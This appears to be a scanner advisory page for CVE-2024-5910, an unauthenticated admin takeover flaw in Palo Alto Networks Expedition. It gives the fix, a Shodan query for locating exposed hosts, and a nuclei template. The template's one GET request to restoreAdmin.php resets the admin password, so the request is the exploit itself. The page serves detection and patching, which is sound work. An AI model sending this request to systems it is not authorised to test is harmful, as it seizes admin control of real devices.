Palo Alto Expedition - Admin Account Takeover

Exploited in the wild. Listed by CISA on 2024-11-07; known to be used by ransomware.

criticalseverity

9.3CVSS score

91.7%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Missing authentication for a critical function in Palo Alto Networks Expedition can lead to an Expedition admin account takeover for attackers with network access to Expedition.

Impact

Attackers with network access can exploit missing authentication to takeover Expedition admin accounts without credentials.

Fix

Update Palo Alto Networks Expedition to the latest version that patches CVE-2024-5910 as specified in the Palo Alto security advisory.

How to confirm it

Send: GET {{BaseURL}}/OS/startup/restore/restoreAdmin.php
Positive when: contains "Admin user found" and "Admin password restored" AND status 200

Run it with nuclei: nuclei -id CVE-2024-5910 -u <target>

The full check

id: CVE-2024-5910

info:
  name: Palo Alto Expedition - Admin Account Takeover
  author: johnk3r
  severity: critical
  description: |
    Missing authentication for a critical function in Palo Alto Networks Expedition can lead to an Expedition admin account takeover for attackers with network access to Expedition.
  impact: |
    Attackers with network access can exploit missing authentication to takeover Expedition admin accounts without credentials.
  remediation: |
    Update Palo Alto Networks Expedition to the latest version that patches CVE-2024-5910 as specified in the Palo Alto security advisory.
  reference:
    - https://www.horizon3.ai/attack-research/palo-alto-expedition-from-n-day-to-full-compromise
    - https://security.paloaltonetworks.com/CVE-2024-5910
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5910
  classification:
    cve-id: CVE-2024-5910
    cvss-score: 9.3
    cwe-id: CWE-306
    epss-score: 0.91684
    epss-percentile: 0.99816
  metadata:
    verified: true
    max-request: 1
    vendor: paloaltonetworks
    product: expedition
    shodan-query: http.favicon.hash:1499876150
  tags: cve,cve2024,palo-alto,auth-bypass,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/OS/startup/restore/restoreAdmin.php"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Admin user found"
          - "Admin password restored"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from